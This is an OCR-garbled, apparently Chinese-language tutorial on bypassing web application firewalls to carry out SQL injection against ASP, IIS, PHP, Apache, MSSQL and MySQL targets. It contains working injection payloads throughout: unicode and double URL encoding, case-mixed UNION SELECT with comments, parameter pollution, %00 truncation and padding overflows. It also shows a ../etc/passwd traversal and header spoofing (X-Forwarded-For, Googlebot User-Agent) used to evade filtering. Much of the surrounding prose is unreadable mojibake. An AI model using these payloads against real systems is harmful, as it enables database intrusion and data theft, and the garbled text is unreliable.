E2

AT RISZ LIRS - TWAF, FEfFwaf, NP, Kirwafe,

EIRSEE |, IV EFEEE—LSMT | (RS :s. 80EE. RIEIESSSE  LMEEREAIEPayload
NGRS Z 2 BirE TiREFI A,

i}

55— : WAF Bypass#zlh
B : RSN

1. %45 (ASP+IIS)

frasp+iisHIMEREFE—MFE | ERATSY% , HZINE FSIHBAs%electiIRHR , FEWAFERTBERFHTHISKR
RIEERHEsYelect , (B2 Eiis+aspRIMNERIRHE | AEITHRAIER Sselect,

Ps.lbabsENIRTBERiis Fasp.dlIfEHTEHRAYEIER , aspx+isBIFMERLRBX M.
2, %ulFtE (asp+iisflaspx+iis )

lisBRS3 28 4RI FunicodelIBRHT , FIANERAIXT Fselecth A= Tunicodesmis , BILABRIMI TR
s%u006c%u0006ect , IXFIFFEIISIENEIZ FatiEiiuselect , (BREITFWAFE |, AIESEEINRNESIER
s%u006c%u0006ect , IXFERTSHZRbypassHIATRE,

3. BF%ulFtE (ASP+IS)

ZimAEEFBIRunicodeftiisfr Z RSB multibyte , {(BREHANIIRFAIEEHIL : £ widechar&ad
BIREEEIRARE— N, FINEA TR ZEselectieIIRATunicode3%u0065 , {BR%u00fORIESAREEIRAL
e,

s%u0065Tect->select s%u00fO0lect->select

WAFER]8E8EIRBs%u0065lectiIfZ = | (BRRERIREIRBIA 1 s%u00fOlecthIfizzt,, XAFERT AT AR AR WAFRY
25,

BIL=/NEEF (union+select+from ) BUTLLIER


af://n0
af://n5
af://n6

s%u0045Tect = s%u0065lect = %u00fOTlect
--> %u0055 --> %u0075

-->%u004e --> %u006e

-->%u0049 --> %u0069

-->%u004f --> %u006f -->%u00ba
-->%u0053 --> %u0073

-->%u004c --> %u006¢

-->%u0045 --> %u0065-->%u00f0
-->%u0043 --> %u0063

-->%u0054 -->%u0074 -->%u00de -->%u00fe
-->%u0046 -->%u0066

-->%u0052 -->%u0072

-->%u004d -->%u006d

S 5 -h et 0 ® -4 0N O = S C

4, apachelgfzmethod
EGETIERF , GETHLIBMAERSHETF | FellapahcelZiis#id=2,

TEST /sql.php?id=1 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; wow64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: zh-CN,zh;qg=0.8,en-US;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

E-7 . NABSHE
1. KINS/ERTHIR
XESEBISTRA | ARG RS , KNSR

id=1 UnIoN/**/SeLeCT 1,user()
BREFHITENER

Hex() bin() M Fascii
sleep() ZMNTF benchmark()
MidQsubstring) EMNMF substr()
@@user ZEMNTF user()

@@aversion ZNF version()

2, WEurlmh3 WEurldzhB , BIXNE iR AZX0EIRH T T AR urlencodelfE , Wlst—RurldRiZ %73, BT
—IRIRIBE%25%37%33, —fER FERBESAE—IXurlfBRD |, IXFEEARIDZ EHIEEE—IRASITECEFIN |, 3X
F T bypassHIER,

RIS, , WcharakHex4®A3. UnicodefwiD. BASE644RAZE.,
3. THERHR


af://n22

B GETZSRLPOSTIRAZ , k& POSTiERIGurlencodefiform-datat&it,
FEPOSTiIERA , AILASPost#iEE /9 EfEmultipart/form-datat& AR .
MNESEURAES ¢

<html>" “<head></head>" “<body>

<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">

<input type="submit">

</form>

</body>" “</html>

HEHIRESE
—————— webK1itFormBoundaryACzoalLJJzUwc4hyMm

Content-Disposition: form-data; name="id"

from information_schema.SCHEMATA

—————— webK1itFormBoundaryACzoalJJzUwc4hyYM--

4, HPPEELS
ZHKBRid=1&id=2&id=31F/=, , AR KRNI d(ERIHEARRRIWe b ASKENIEE A—FER.
RIIRSZHIS BN

1d=1&1d=2&id=3

BEIRVER -

Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3

Php + apache : id=3

SR

MSSQL:

K/NE : ?id=1 UNION/*&ID=*/SELECT 1,2/*&Id=*/FROM ADMIN

GET+POSTH/Z :

http://192.168.125.140/test/sql.aspx?id=1 union/*

post: 1id=2*/select null,null,null

FJFEE : ?id=1 union select 1&id=2&id=3&id=4 from admin-- ( GEEF)
?a=1+union/*&b=*/select+1l,pass/*&c=*/from+users-- (DEISHTEN)

TR © 7a=/*&sql=xxx&b="*/

&ix 1 a, bATTHEE , itwa FIRLUAENBNRNE DR TRAEEHITAIRTLAR A =8,

e - ?id=1/*&id=%//*&id=*//*...... &id=*//*&id=*/ union select null,system_user,null

from INFORMATION_SCHEMA.schemata



Mysql :
?1d=1&1d=1&i1d=1&1d=1&1d=1&1d=1&id=1&id=.... &id=1 union select 1,2 from admin

union = u%69aIXBIBI AREEET BHiZurliEin EMN=rrE R NiR=Ts
select = CxIx%yt //tA4wE3 EBHEREFT PiElE L%

from = UR%A3 //HBFT5+%

THE=%20=%Ba //BR2HIFAFF aR0MEFR

, = b //, SHBEFT

$=7 : WAF Bi5¢
1. BB
(1) =waffhir , — BRI TR mAVESEIP , WSS CONBAIF,
(2) HIEAZGET. POSTREIATIEKAY , HEAPOSTIZEE , MARS T GETIEKIIEESEE , liE5Bypass.

(3) HTTPFOHTTPSERTHRIRS |, RBEMHTTPEIHTTPSHREIBEE , SEHTTPSHWAFRSIF , HTTPIRERHF , BT
HT TP RS RHHF.

(4) FFFRFREE%00 , BowafiBEI%00%EE , RESAEIRIERISE , TEABRIEENEESEgAN . NiSEBypass.
Ekan : 1d=1%00and 1=2 union select 1,2,column_name from information_schema.columns
2, MEgERE

BB IRt WARRSERT | BRESMAENE , SEEERE—EER , MENXERSEEE. REAMIETE
7 SRR EZE | TEAEHASEENT.

B2 : FOWAFRCGESER , MOESESRBEEPXAIFIES , EIIRWAFEEIE R EREN THEEFX
KEFS5&bug , NTSERISEE.

ZH01

X

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS : OXA*100050xA/FE"A"EE1000)R , —AZSRITXI N AR AHERE T KiEHERERANMARKE , XE1000R M
EOIFERLIER PR AT EXAK B EH.

=502 :

?a0=0&al1=1&..... &a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata

BT  RKEUERESE , FEREETL001M24) , F101MSHFHRBEHRENE , SHsQUENST.,

BI83 | ZIREERXEA—NMEK , BLEIT TWAF , BERWAFFT=ELY |, MiZ4RERRSEE D 1EKbypass,


af://n47

3. A&E
BR— : IPERE
MR EIRENip , IXFP—RRI0EASR , (R ENEEIGAERIIP , X s8R IER & BRIPIERbypass.
W73 - 1EMhttpAheaderskbypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip
BT ESHER
BENESEREEEK , BRI s jpg swf .cssZES) |, KURBZERNE] , waf A TIERER , RAERN
XSG B REANEK.

http://10.9.9.201/sql.php/1.js?id=1

X 1 Aspx/phpRIRFIZIRIEIRY . aspx/ . php SEHEARFRRG
A= url@gE:
ATEHLEREE |, EowafNBEARNEAZESIZE , fadmin/manager/system&EEIREE. RBurlhZEAZBEHNF
8, EAERRHTION. ERAOuriEiEEs .

http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=. ./etc/passwd
http://10.9.9.201/../../../manage/../sql.asp?id=2

wafi@id/manage/"#1TLER , REuridpfFE/manage/MIEABERRNHITION , IXEFERATRILABIE/sql.php?
a=/manage/&b=../etc/passwd SIS FHEIFLN,

B : [eREEZE

o wafGIRMACHRBEEAIINEE , IRBIERATA—RZE R :

1. fRiEUserAgent 2. @id1T/o3HIHT

UserAgentB] LMRB S8R . FATeTLAIRRICR =58,

User Agent Switcher (Firefox BN£B44)

TEAEE: https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

KIEE LTS | R TALTE , BHTER , (hEes,



https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

MM &EE EEV) RhEE #EE) TEO #E8H

o= + TED Ctrl+)
* FTIMEEEHA) Ctrl+Shift+A
HESaEE A R Fa—PImED.. 2
FEE B
INT v| = & SQl- XSS Encrypt
p ‘ Default User Agent ‘ » | ® Default User Agent I
L URL
f = Show/hide hackbar F9 \ Internet Explorer >
Split URL .
. Web 7FEE % Search Robots 3 Googlebot 2.1
»
r) Execute (& FoxyProxy Standard iPhone 3.0 Msnbot 1.1
L] Enable Post data  [] FEEED Edit User Agents... Yahoo Slurp
i o]
T User Agent Switcher > [
EIAMERUser-Agent :

UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm1)"
UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)"
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